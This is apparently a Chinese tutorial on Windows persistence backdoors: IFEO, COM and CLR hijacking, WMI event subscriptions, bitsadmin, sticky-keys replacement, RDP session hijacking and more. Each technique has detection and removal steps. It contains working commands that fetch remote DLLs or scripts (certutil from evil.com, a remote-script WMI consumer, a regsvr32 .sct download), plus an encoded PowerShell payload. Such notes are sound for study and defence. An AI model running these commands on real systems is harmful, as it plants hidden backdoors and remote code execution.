# reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
# reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d  "c:\windows\system32\calc.exe"

检测及查杀

1、排查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options以及HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit项值是否存在关联(上述例子即可在SilentProcessExit中看到c:\windows\system32\calc.exe)
2、分析系统日志,日志ID为3000和3001,即有可能存在后门威胁
3、直接删除IFEO项或者设置管理员不可修改

COM劫持

COM(组件对象模型)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。为开发人员提供一个允许开发人员控制和操纵其他应用程序的对象的接口,每个COM对象都由一个名为CLSID的唯一ID定义,大多数COM类都在操作系统中注册,并由表示注册表中的类标识符(CLSID)的GUID标识,也就是说CLSID就是对象的身份证号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。

COM是Component Object Model (组件对象模型)的缩写
COM组件由DLL和EXE形式发布的可执行代码所组成
COM与语言,平台无关
COM组件对应注册表中CLSID下的注册表键值

比如:

按下Ctrl+R打开运行窗口,输入:
::{20D04FE0-3AEA-1069-A2D8-08002B30309D} -> 我的电脑
::{645FF040-5081-101B-9F08-00AA002F954E} -> 回收站

使用ProcessMonitor可以看到应用程序的寻找过程:

1、HKEY_CURRENT_USER\Software\Classes\CLSID
2、HKEY_CLASSES_ROOT\CLSID
3、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

当进程寻找COM组件时,首先会寻找: HKCU\Software\Classes\CLSID,所以直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。

与DLL劫持原理相近,但是COM组件的劫持目标不一定是一个进程,也可以是一个Windows API,劫持所需的文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件。

MSF中自带了利用COM劫持的模块:exploit/windows/local/bypassuac_comhijack,该模块同时直接可以绕过UAC,具体原理参考:COM Hijacking

CLR

CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。无需管理员权限的后门,并能够劫持所有.Net程序。

cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
# {11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突就行
cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll
# 下载dll
cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll delete
# 清除下载文件的缓存
cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe*
# 新建子项{11111111-1111-1111-1111-111111111111}\InProcServe*
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
# 新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
# 修改默认路径值为msg.dll的路径
cmd> 当前cmd下启动.net程序,比如:powershell,即可执行dll
DLL编写参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

要使CLR能够劫持系统中全部.net程序,需要设置环境变量,可以图形化界面操作,也可以使用WMI(通过WMI修改环境变量需要系统重启或注销重新登录才能生效)。

x86系统

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe*
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

x64系统

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe*
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe*
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

POC: https://github.com/3gstudent/CLR-Injection

检测及查杀

1、检查环境变量COR_ENABLE_PROFILING和COR_PROFILER
2、检查注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\有无异常
CAccPropServicesClass&MMDeviceEnumerato

通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。但是通过WMI添加环境变量需要重启系统。 CAccPropServicesClass和MMDeviceEnumerato后门原理与之类似,但是不需要重启系统,同样也不需要管理员权限,同时可以绕过Autoruns对启动项的检测。

x86系统

1、新建文件
在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-*579291692E}\路径下加入后门dll文件;
命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
2、修改注册表
注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\
创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项InprocServe*
Default的键值为32位dll的绝对路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-*579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
3、当打开ie或者其他程序时,就会执行加载的dll

x64系统

1、新建文件
在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-*579291692E}\路径下加入后门dll文件;
命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
2、修改注册表1
注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\
创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项InprocServe*
Default的键值为64位dll路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-*579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
3、修改注册表2
注册表位置:HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\
创建项{BCDE0395-E52F-467C-8E3D-*579291692E}
创建子项InprocServe*
Default的键值为32位dll路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Installer{BCDE0395-E52F-467C-8E3D-*579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
4、当打开ie或者其他程序时,就会执行加载的dll

POC:https://github.com/3gstudent/COM-Object-hijacking

检测及查杀

1、注册表键值
HKEY_CURRENT_USER\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-*579291692E }
2、文件路径
%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-*579291692E}\
命名方式:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
MruPidlList

不同于上面两种COM劫持后门,前两种是被动触发的后门,MruPidlList是主动触发的后门

注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\
创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}
创建子项InprocServe*
Default的键值为dll的绝对路径:C:\test\calc.dll
创建键值: ThreadingModel | REG_SZ | Apartment

因为注册表对应COM对象MruPidlList,作用于shell32.dll,shell32.dll用于打开网页和文件,所以当系统启动时必定会执行,于是后门也就会主动启动,相当于一个主动后门。

直观的理解:系统在启动时默认启动进程explorer.exe,explorer.exe会调用shell32.dll,加载COM对象MruPidlList

此类型的后门多次被恶意软件使用:comRAT,ZeroAccess rootkit,bbsrat

检测和查杀

查看、记录、监控注册表HKEY_CURRENT_USER\Software\Classes\CLSID\的写入和修改操作

系统软件

wmi

WMI(Windows Management Instrumentation)即 Windows 管理规范,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。

WMI相关知识参考翻译:

  • WMI 的攻击,防御与取证分析技术之攻击篇

  • WMI 的攻击,防御与取证分析技术之防御篇

  • WMI 的攻击,防御与取证分析技术之取证分析篇

原文:https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Drops: 三好学生:

  • 不在Client和Server留下任何文件,实际位于硬盘上的一个复杂的数据库中(objects.data)

  • 不改动注册表

  • 仅使用powershell实现

存储payload

# 管理员权限
powershell> $StaticClass = New-Object Management.ManagementClass(\'root\cimv2\', $null,
$null)
powershell> $StaticClass.Name = \'Win32_EvilClass\'
powershell> $StaticClass.Put()
powershell> $StaticClass.Properties.Add(\'EvilProperty\' , "This is payload")
powershell> $StaticClass.Put()

隐蔽定时启动程序

# 管理员权限
# 功能:每60s执行一次notepad.exe
powershell> $filterName = \'BotFilter82\'
powershell> $consumerName = \'BotConsumer23\'
# 创建一个__EventFilter,用于设定触发条件,每隔60s执行一次
powershell> $exePath = \'C:\Windows\System32\notepad.exe\'
powershell> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\'"
powershell> $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name= $filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
# 创建一个CommandLineEventConsumer,用于设定执行的操作
powershell> $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{ Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
# 用于绑定filter和consumer
powershell> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

Example:

通常是通过powershell进行调用,配合schtasks进行定时启动,绕过杀软,也可以执行JavaScript脚本。

#!powershell
$filterName = \'filtP1\'
$consumerName = \'consP1\'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"    
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\'"    
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop    
$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine=\'JScript\';ScriptText=$Command}    
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

通过远程下载js脚本,进行命令调用。 
优点:无文件落地 
缺点:目前杀软对powershell这类监管较严格,容易被发现

检测及查杀

检测:
1、查看当前WMI Event(管理员权限)
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
2、查看日志
Microsoft-Windows-WinRM/Operational
Microsoft-Windows-WMI-Activity/Operational
Microsoft-Windows-DistributedCOM
3、Autoruns
Sysinternals Autoruns只能检测到ActiveScriptEventConsumer和CommandLineEventConsumer的操作,可以理解为上述对进程和注册表监视的操作无法识别
查杀:
1、清除后门(管理员权限)
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name=\'BotFilter82\'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name=\'BotConsumer23\'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE \'%BotFilter82%\'" | Remove-WmiObject -Verbose
2、甚至禁用Winmgmt服务从根本上阻止该方法的使用
其他方法参考:
http://drops.xmd5.com/static/drops/tips-8290.html

Waitfor.exe

Waitfor是用来接收或发送来自同一域内主机的信号。位于System32文件夹下,以命令行方式启动。

思路1:有文件

1、在目标系统保存一个powershell脚本c:\waitfor1.ps1,内容为:
start-process calc.exe
cmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\waitfor1.ps1
2、等待接受信号
waitfor persist1 && powershell -executionpolicy bypass -file c:\waitfor1.ps1
3、发送信号
waitfor /s 127.0.0.1 /si persist1
#测试时不可持续利用

思路2:无文件

将powershell payload命令通过编码保存在WMI类中,进行存储、读取、使用payload(需要管理员权限)

PowerShell> $StaticClass = New-Object Management.ManagementClass(\'root\cimv2\', $null,$null)
PowerShell> $StaticClass.Name = \'Win32_Backdoor\'
PowerShell> $StaticClass.Put()| Out-Null
PowerShell> $StaticClass.Properties.Add(\'Code\' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApA*AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
PowerShell> $StaticClass.Put() | Out-Null
# 使用base64编码存储payload
PowerShell> $exec=([WmiClass] \'Win32_Backdoor\').Properties[\'Code\'].Value;
# 读取payload
PowerShell> iex $exec | Out-Null
# 执行payload
# 也可将上述命令存储为文件,然后执行该文件
# https://github.com/3gstudent/Waitfor-Persistence/blob/master/Waitfor-Persistence.ps1
# cmd> powershell -executionpolicy bypass .\Waitfor-Persistence.ps1
激活后门:
cmd> waitfor /s 127.0.0.1 /si persist
#测试时可持续利用

POC:https://github.com/3gstudent/Waitfor-Persistence

检测及查杀

1、留意后台进程waitfor.exe
2、使用Process Explorer查看后台可疑的cmd.exe和powershell.exe进程的启动参数

bitsadmin

bitsadmin.exe是windows自带的可用于创建下载或上载作业并监视其进度,bistadmin可以指定下载成功之后要进行什么命令。可绕过autorun、常见杀软检测。

bitsadmin /create backdoor
# 创建任务
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
# 下载本地文件
bitsadmin.exe /SetNotifyCmdLine backdoor regsv*.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
# 增加cmd参数,利用regsv*技巧,解决命令执行弹框问题
bitsadmin /Resume backdoor
# 执行任务

检测及查杀

列出所有任务
bitsadmin /list /allusers /verbose
删除某个任务
bitsadmin /cancel <Job>
删除所有任务
bitsadmin /reset /allusers
获取任务创建时间
bitsadmin /GetCreationTime <Job>

msdtc

MSDTC,是微软分布式传输协调程序,Windows系统默认启动该服务。当计算机加入域中,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

分别加载3个DLL:oci.dll,SQLLib80.dll,xa80.dll

然而Windows系统默认并不包含oci.dll所以可以将payload.dll重名为oci.dll并保存在%windir%\system32\下

域中的计算机启动服务MSDTC时就会加载该dll,实现代码执行。

利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测。

 

检测及查杀

1、检测%windir%\system32\是否包含可疑oci.dll
2、taskkill /f /im msdtc.exe
3、Procmon
# 对于普通用户主机,建议禁用服务MSDTC

Netsh

netsh是windows系统本身提供的功能强大的网络配置命令行工具

netsh add helper c:\test\netshtest.dll

helper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll

检测及查杀

检查:
检查注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
通过Process Explorer查看netsh进程加载的dll
通过Process Monitor查看进程属性Event Properties
清除:
netsh delete helper c:\test\netshtest.dll
在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh删除对应键值

DoubleAgent

该方式主要是对微软系统自带的Application Verifier(应用程序检验器)进行利用

利用过程如下:

  1. 编写自定义Verifier provider DLL

  2. 通过Application Verifier进行安装

  3. 注入到目标进程执行payload

  4. 每当目标进程启动,均会执行payload,相当于一个自启动的方式

命令行添加:
appverif /verify notepad.exe
命令行删除:
appverif /n notepad.exe

POC : https://github.com/Cybellum/DoubleAgent

检测及查杀

监控注册表键值HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 
查看c:\windows\system32\下有无可疑dll

Office

利用劫持系统的DLL,执行相关命令,同时可绕过Autoruns的后门检测。主要有两种方法:

  1. 劫持office特定功能

  2. 利用Office加载项

劫持Office软件的特定功能

通过DLL劫持,在Office软件执行特定功能时触发后门

  • 劫持Word-审阅-视图【管理员权限】:位于C:\Program Files\Common Files\microsoft shared\RRLoc14\LOCALSVC.DLL

  • 劫持word-插入-图片【TrustedInstaller权限】:位于C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll

  • 劫持word-文件-页面布局-主题-浏览主题【管理员权限】:位于C:\Program Files\Microsoft Office\Office14\2052\GrooveIntlResource.dll

  • 劫持Excel-插入-图片【管理员权限】:位于C:\Program Files\Common Files\microsoft shared\OFFICE14\MSPTLS.DLL

利用Office加载项
  • Word WLL

  • Excel XLL

  • Excel VBA add-ins

  • PowerPoint VBA add-ins

以word为例:

# 编译成calc.dll,重命名为calc.wll,保存在路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Word\Startup(Startup路径可保存多个wll,支持启动多个wll),启动Word.exe,弹出计算器,并且word正常启动
powershell下wll路径
$env:APPDATA+"\Microsoft\Word\Startup\calc.wll"
将编译好的calc.dll作base64加密并存储于变量中
PowerShell> $fileContent = [System.IO.File]::ReadAllBytes(\'calc.dll\')
PowerShell> $fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt") 
用变量$fileContent存储base64加密的calc.dll
PowerShell> $fileContent = "$fileContentEncoded_payload"
base64解密并释放calc.wll至Startup路径的代码如下:
PowerShell> $fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)
# 具体参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

其他POC:https://github.com/3gstudent/Office-Persistence

检测及查杀

禁用所有加载项
禁用所有控件
禁用所有宏
删除信任位置:
C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\

shift后门

通过远程桌面连接到Windows后,在没有输入用户名和密码前,连接按5次Shift键,可以调用c:\windows\system32\sethc.exe,所以需要把c:\windows\system32\sethc.exe替换成其他的执行程序即可执行该程序。

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe /y
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h
# attrib +h是添加隐藏属性

在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有名义上的只读和可执行权,我们可以手动修改其所属为administrators。

也可以使用命令,比如:使用MSSQL的xp_cmdshell

exec xp_cmdshell \'takeown /f c:\windows\system32\sethc.* /a /r /d y\'
# 将所有者更改为管理员组(administrators)
exec xp_cmdshell \'cacls c:\windows\system32\sethc.exe /T /E /G system:F\'
# 赋予system完全控制权限
exec xp_cmdshell \'copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y\'
# 替换文件为cmd.exe

检测及查杀

1、检测c:\windows\system32\sethc.exe文件大小、时间
2、连按5次shift键

RDP会话劫持

RDP劫持简单的说就是在不知道另一账户密码的情况下直接切换到该用户会话下。

1、query    user        查看服务器用户会话信息
2、sc create sesshijack 创建一个sesshijack服务
3、net start sesshijack 开启服务
query user
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
# rdp-tcp#4为正在活动中的其他会话
net start sesshijack

无凭据时的会话劫持技巧是Benjamin Delpy(Mimikatz作者)在2011年提到的,所以Mimikatz模块也集成了此项功能

mimikatz.exe
mimikatz # ts::sessions
mimikatz # ts::remote /id:4 (4表示会话ID)
mimikatz # privilege::debug
mimikatz # ts::remote /id:4

检测及查杀

1、使用可以记录这种攻击的工具,比如:Microsoft OMS, Windows Event Forwarding
2、查找Mimikatz的相关依赖
# 使用组策略来注销已断开的会话或者空闲的用户会话

 

other

.NET后渗透下的权限维持:https://github.com/Ivan1ee/NetDLLSpy

密码记录:WinlogonHack、Gina

利用服务:sc create [ServerName] binPath= BinaryPathName

快捷方式后门:https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

。。。

感谢大佬们分享的文章,还有很多要学习的。

参考文章:

https://www.bodkin.ren/index.php/archives/431/

https://www.anquanke.com/post/id/171891

http://vinc.top/2015/09/15/metasploit-web-delivery/

https://kionf.com/2018/09/13/metasploit-presistence/

https://www.jianshu.com/p/0cfcbba813ac

https://blog.csdn.net/gaojinshan/article/details/8480185

http://www.atomsec.org/%E9%80%86%E5%90%91/appinit_dlls%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%96%B9%E5%BC%8F%E6%B3%A8%E5%85%A5dll/

https://payloads.online/archivers/2018-10-14/1

https://github.com/wings27/blogs/blob/master/%E5%88%A9%E7%94%A8Windows%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81%E5%AE%9E%E7%8E%B0%E9%BB%98%E8%AE%A4%E7%A8%8B%E5%BA%8F%E7%9A%84%E6%9B%BF%E6%8D%A2.md

https://www.anquanke.com/post/id/151425

https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/

https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/

https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/

https://github.com/Ridter/Intranet_Penetration_Tips/blob/master/README.MD

https://www.4hou.com/system/5171.html

https://www.secpulse.com/archives/52053.html

https://www.secpulse.com/archives/39555.html

http://drops.xmd5.com/static/drops/tips-10346.html

http://drops.xmd5.com/static/drops/tips-8189.html

http://drops.xmd5.com/static/drops/tips-8290.html

http://drops.xmd5.com/static/drops/tips-8260.html

https://github.com/3gstudent/Office-Persistence

https://www.jianshu.com/p/4c1af7889e87

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/

https://www.secpulse.com/archives/55476.html

https://www.freebuf.com/articles/web/180581.html

https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/

分类:

技术点:

相关文章:

  • 2020-06-14
  • 2021-09-14
  • 2021-12-15
  • 2019-12-09
  • 2020-06-22
  • 2021-10-02
  • 2019-01-24
  • 2021-12-15
猜你喜欢
  • 2020-12-28
  • 2021-12-09
  • 2021-09-10
  • 2019-01-21
  • 2019-02-20
  • 2021-12-02
  • 2021-06-09
相关资源
相似解决方案